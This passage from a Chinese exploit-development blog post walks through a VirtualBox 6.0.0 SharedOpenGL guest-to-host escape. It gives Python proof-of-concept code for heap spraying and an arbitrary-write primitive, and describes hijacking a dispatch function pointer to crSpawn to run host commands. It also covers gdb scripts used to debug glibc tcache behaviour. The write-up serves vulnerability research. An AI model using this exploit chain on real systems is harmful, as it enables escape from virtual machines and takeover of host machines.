  4. 通过 SHCRGL_GUEST_FN_WRITE_BUFFER​​ ,传入 iBuffer​​ 为 0xcafebabe​​ ,找到被修改的 buffer #2​​ ,然后往里面写数据就能导致任意地址写

3~4 部分的 POC 如下

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])  # overwrite buffer #2's pData & uiSize
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data]) # use buffer #2 to arw

下面再介绍堆布局的流程:
image.png

流程介绍如下:

  1. 首先通过申请大量 0x20 的内存消耗堆中的不连续的内存块.

  2. 连续分配多个 pData 大小为 0x20 的 pBuf,此时 pBuf 和 pData 会连续分配.

  3. 从后往前间隔释放 pBuf->pData 和 pBuf,由于堆管理的后入先出的特性,最终 free 块的链表为 free 7 --> free 6 --> .... -> free y​.

  4. 按照 0x50 和 0x20 的 Size 组合连续申请 pBuf

    • pBuf 9 11 13 15 的 pData 的大小为 0x50 所以不会用刚刚释放的 free 块
    • pBuf 10 12 14 的 pData 的大小为 0x20 会使用刚刚释放的 free 块.
  5. 从后往前间隔释放 size 为 0x50 的 pBuf,最后 free 块链表为 free 1 --> free 0

  6. 触发漏洞,使用 free 0 溢出 pBuf 14.

    • 触发漏洞前需要分配 pBuf 然后把命令数据写入 pBuf,这一步设置 pBuf->uiSize 大于 0x20 ,就只会用掉一个 0x20 的块,即 free 1
    • 然后在 crServerDispatchReadPixels 里面整数溢出申请 0x20 的内存会拿到 free 0
    • 溢出就可以修改 pBuf 14 的 uiSize 为 0xffffffff
  7. 利用 pBuf 14 溢出修改 pBuf 15 的 uiSize 、pData.

  8. 利用 pBuf 15 实现任意地址写.

堆喷相关代码

def heapSpray(client):
    buf_ids = []
    spray_ids = []

    # 清理堆中的碎片.
    for i in range(600):
        alloc_buf(client, 0x20)
    fengshui_buf_ids = []
    for i in range(1000):
       fengshui_buf_ids.append(alloc_buf(client, 0x60))
    for i in range(500):
        alloc_buf(client, 0x20)

    raw_input("clean heap done.")

    # 分配多个 pBuf, pBuf->pData 的大小为 0x20, 用于布局
    for i in range(120):
        buf_ids.append(alloc_buf(client, 0x20))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO

    # 占位避免合并
    for i in range(120):
       alloc_buf(client, 0x20)

    raw_input("try to make hole...")

    # 间隔释放 pBuf
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x40, 0])

    # 按照 0x50 和 0x20 的 Size 组合连续申请 pBuf
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50))
        alloc_buf(client, 0x20)

    # 间隔释放 size 为 0x50 的 pBuf,给 crServerDispatchReadPixels 凿洞
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x40, 0])

有任意地址写的能力后,劫持 cr_unpackDispatch.BoundsInfoCR 函数指针为 crSpawn 函数,然后找个地方写入要执行的命令,通过 CR_BOUNDSINFOCR_OPCODE 命令即可触发 crSpawn 的执行.

void crUnpackBoundsInfoCR( void  )
{
    CRrecti bounds;
    GLint len;
    GLuint num_opcodes;
    GLbyte *payload;

    len = READ_DATA( 0, GLint );
    bounds.x1 = READ_DATA( 4, GLint );
    bounds.y1 = READ_DATA( 8, GLint );
    bounds.x2 = READ_DATA( 12, GLint );
    bounds.y2 = READ_DATA( 16, GLint );
    num_opcodes = READ_DATA( 20, GLuint );
    payload = DATA_POINTER( 24, GLbyte );

    cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes );
    INCR_VAR_PTR();
}

image.png

Part2 堆风水过程中的问题解决

本节介绍调试堆风水中遇到的坑,以及定位和解决的思路,能复现该问题的 commit

https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/tree/dd3d3403f24278393667b902c34f5c0b302c9400

poc 执行完 heapSpray 中的下面代码后,理论上后面申请的 pBuf 和 pBuf->pData应该都是连续的.

def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area

    for i in range(1, 200):
        print("alloc {}.".format(i * 0x10))
        for j in range(180):
            alloc_buf(client, 0x10 + 0x10 * i, msg)

    for i in range(2000):
        alloc_buf(client, 0x20, msg)

    fengshui_buf_ids = []
    for i in range(1000):
       fengshui_buf_ids.append(alloc_buf(client, 0x20, msg))

    for i in range(4000):
        alloc_buf(client, 0x20, msg)

    raw_input("clean heap done.")

但执行完后,通过 gdb 脚本 打印 VirtualBox 里面的所有的 pBuf 和 pData 的结果如下:

image.png

输出中 /​ 前面是内存地址,后面是该内存地址所处的 arena,可以发现 pBuf 和 pBuf->pData 在两个 arena 中分配,且 pBuf 和 pBuf->pData 都是按照 0x30 递增的.

而 pBuf 和 pBuf->pData 的分配是顺序的

        pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));
        if (pBuffer)
        {
            pBuffer->pData = RTMemAlloc(cbBufferSize);

第一想法就是两次分配之间使用了不同的 arena,但是给两次分配的位置处下断点,打印当前的 thread_arena

break *(svcGetBuffer+179)
  commands
    printf "svcGetBuffer before 1'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
    c
  end

break *(svcGetBuffer+206)
  commands
    printf "svcGetBuffer before 2'st alloc, thread_arena:  0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
    c
  end

但是发现 thread_arena 没有发生变化.
image.png

既然 thread_arena 没有发生变化,那就是有其他线程往里面插入了块,但是这个如此规整两端如此规整的地址,又觉得有点奇怪.

在申请 pBuffer 处下断点,使用 gdb脚本 查看当前的 tcache 和 arena 里面的 fastbin 和 smallbin:

image.png

可以看到每次断点断下来后, tcache 里面都被插入了一个其他 arena 里面申请的内存块,翻了下 libc 的源码如果线程释放了一个其他线程申请的或者从其他 arena 里面申请的内存,如果 tcache 中有空位,会把内存块放到当前线程的 tcache 中.

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
    && tc_idx < mp_.tcache_bins
    && tcache->counts[tc_idx] < mp_.tcache_count)
      {
    tcache_put (p, tc_idx);
    return;
      }
  }
#endif

那估计是在当前线程的某个地方把 0x30 的块插入到了 tcache 里面,给 tcache->entries[1] 下内存断点,定位到写 tcache 的地方

image.png

相关代码:

/** Deallocate VBOXHGCMCMD memory.
 *
 * @param   pThis           The VMMDev instance data.
 * @param   pCmd            Command to deallocate.
 */
static void vmmdevHGCMCmdFree(PVMMDEV pThis, PVBOXHGCMCMD pCmd)
{
    if (pCmd)
    {
        if (pCmd->enmCmdType == VBOXHGCMCMDTYPE_CALL)
        {
            uint32_t i;
            for (i = 0; i < pCmd->u.call.cParms; ++i)
            {
                VBOXHGCMSVCPARM   * const pHostParm  = &pCmd->u.call.paHostParms[i];
                VBOXHGCMGUESTPARM * const pGuestParm = &pCmd->u.call.paGuestParms[i];

                if (pHostParm->type == VBOX_HGCM_SVC_PARM_PTR)
                    RTMemFree(pHostParm->u.pointer.addr);  // 释放指针参数的内存

                if (   pGuestParm->enmType == VMMDevHGCMParmType_LinAddr_In
                    || pGuestParm->enmType == VMMDevHGCMParmType_LinAddr_Out
                    || pGuestParm->enmType == VMMDevHGCMParmType_LinAddr
                    || pGuestParm->enmType == VMMDevHGCMParmType_PageList
                    || pGuestParm->enmType == VMMDevHGCMParmType_ContiguousPageList)
                    if (pGuestParm->u.ptr.paPages != &pGuestParm->u.ptr.GCPhysSinglePage)
                        RTMemFree(pGuestParm->u.ptr.paPages);
            }
        }

通过前面的分析, pHostParm->u.pointer.addr 用于保存 HGCM 的指针参数,对应到 poc 就是 alloc_buf 的 msg 参数:

def alloc_buf(client, sz, msg='a'):
    buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
    return buf

hgcm_call 进入 VirtualBox 后会在 EMT-1 线程为 msg 参数申请内存&拷贝数据,然后进入 ShCrOpenGL 线程处理完消息后,调用 vmmdevHGCMCmdFree 释放之前为参数申请的内存,由于 tcache 的机制,导致被释放的内存块会进入 ShCrOpenGL 线程的 tcache

‍回到 poc 脚本中 heapSpray 调用 alloc_buf 传入的 msg 为 nop_msg() 返回值,大小也为 0x20,最后的解决方式就是设置 msg = 'a',这样就只会涉及到 0x20 的 tcache bin,不会对 0x30 的 tcache 造成影响.

https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/commit/f251a5fa537dbd9246ccc7cb9b8f369bedd8221b

修复之后
image.png

MISC

追踪 connect 和 disconnect 的内存分配

gef➤  i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep n   0x00007fc20e9c67d0 in crVBoxServerAddClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:647
        breakpoint already hit 4 times
2       breakpoint     keep y   0x00007fc20e9da4c0 in crServerDeleteClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:181
        breakpoint already hit 3 times
        printf "free client: 0x%lx, client->conn: 0x%lx\n", client, client->conn
        c
5       breakpoint     keep y   0x00007fc20e9c683f in crVBoxServerAddClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:661
        printf "add client: 0x%lx, client->conn: 0x%lx\n", newClient, newClient->conn
        c

相关断点:

break crServerDeleteClient
  commands
    printf "free client: 0x%lx, client->conn: 0x%lx\n", client, client->conn
    c
  end
break *0x7fd269ce883f
  commands
    printf "add client: 0x%lx, client->conn: 0x%lx\n", newClient, newClient->conn
    c
  end
disable $bpnum
break crUnpackExtendGetAttribLocation
disable $bpnum
break crServerDispatchReadPixels
break crservice.cpp:693
disable $bpnum

break crservice.cpp:693
  commands
    printf "alloc_buf buf:0x%lx, buf->pData: 0x%lx\n", pSvcBuffer, pSvcBuffer->pData
    c
  end

break crservice.cpp:409
  commands
    printf "svcFreeBuffer pBuffer:0x%lx, pBuffer->pData: 0x%lx\n", pBuffer, pBuffer->pData
    c
  end

break *(svcGetBuffer+179)
  commands
    printf "svcGetBuffer before 1'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
    c
  end

break *(svcGetBuffer+206)
  commands
    printf "svcGetBuffer before 2'st alloc, thread_arena:  0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
    c
  end

溢出内存分配点

b crServerDispatchReadPixels+262
b *(crServerDispatchReadPixels+257)

参考资料

[^1]: ## SharedOpenGL 模块分析

[^2]: #### 使用服务

  • 发表于 2023-04-10 09:00:00
  • 阅读 ( 6935 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
hac425
hac425

19 篇文章

站长统计